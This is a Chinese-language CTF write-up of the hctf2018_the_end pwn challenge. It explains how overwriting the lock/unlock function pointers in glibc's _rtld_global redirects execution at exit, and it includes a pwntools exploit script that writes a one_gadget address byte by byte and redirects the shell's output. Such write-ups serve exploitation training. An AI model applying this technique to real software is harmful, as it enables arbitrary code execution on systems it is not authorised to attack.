劫持rtld_global中的函数指针&&hctf2018_the_end

前言

在libc-2.23之后,加入了对IO vtable的check机制,所以有本用IO打的hctf2018_the_end转而使用另一种方法,也就是要介绍的劫持rtld_global中的函数指针

劫持rtld_global中的函数指针

ld相关函数在使用rtld_global时都需要先上锁, 以避免多进程下的条件竞争问题
相关函数包括但不限于:
_dl_open()
_dl_fini()
….

exit_function_list

上节我们提到了exit函数的三个用途
清理tls
调用_IO_cleanup
这节漏洞的原因就是第二个,exit_function_list
exit_function_list是系统在初始化的时候自动为我们装载上的,然后在exit的时候会一次调用进行析构操作,析构函数里面有个叫_dl_fini的函数,问题也就在这里面

__run_exit_handlers调用_dl_fini

在这里插入图片描述
可以看到在这里面有上锁和释放的操作,我们以上锁为例

# define __rtld_lock_lock_recursive(NAME) GL(dl_rtld_lock_recursive) (&(NAME).mutex)
#  define GL(name) _rtld_global._##name

这里我们先进行一个简化操作

 __rtld_lock_lock_recursive(GL(dl_load_lock));=>
  __rtld_lock_lock_recursive(_rtld_global._dl_load_lock); =>
  _rtld_global._dl_rtld_lock_recursive   (&(_rtld_global._dl_load_lock).mutex)

参数部分我们就不关注
可以看到实际调用的是dl_rtld_lock_recursive函数指针,释放锁的操作也是类似,我们去gdb里看看_rtld_global

_rtld_global结构

在这里插入图片描述
这个结构比较大,一个屏幕放不下,我就选取了对应的部门,可以看到lock和unlock也保存了对应的真实地址
在这里插入图片描述
可以看到_rtld_global位于ld的data段,所以我们可以直接修改
这里其实涉及了ld和libc的偏移问题,如果版本一致的其实差不多

攻击

找到偏移
在这里插入图片描述
这里也只需要修改低6位
在这里插入图片描述

ru(b"gift ")
libc_base = int(r(14), 16) - libc.sym["sleep"]
ld_base = libc_base + 0x3F1000
ld = ELF("./ld-2.27.so")
_dl_rtld_lock_recursive = ld_base + ld.sym["_rtld_global"] + 0xF00
one_gadget_addr = libc_base + one_gadget[1]

s(p64(_dl_rtld_lock_recursive))
s(p8(one_gadget_addr & 0xFF))
s(p64(_dl_rtld_lock_recursive + 1))
s(p8((one_gadget_addr >> 8) & 0xFF))
s(p64(_dl_rtld_lock_recursive + 2))
s(p8((one_gadget_addr >> 16) & 0xFF))
s(p64(_dl_rtld_lock_recursive + 1))
s(p8((one_gadget_addr >> 8) & 0xFF))
s(p64(_dl_rtld_lock_recursive + 2))
s(p8((one_gadget_addr >> 16) & 0xFF))

sl(b"exec 1>&0")
it()

这里后两边只是为了凑够5次
这里注意打远程由于stdout关闭了,所以我们看不见输出
需要exec 1>&0重定向
这里本来我本地打lock是可以的,但远程好像不行
于是我就换成了unlock
偏移+0xf08就可以了

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值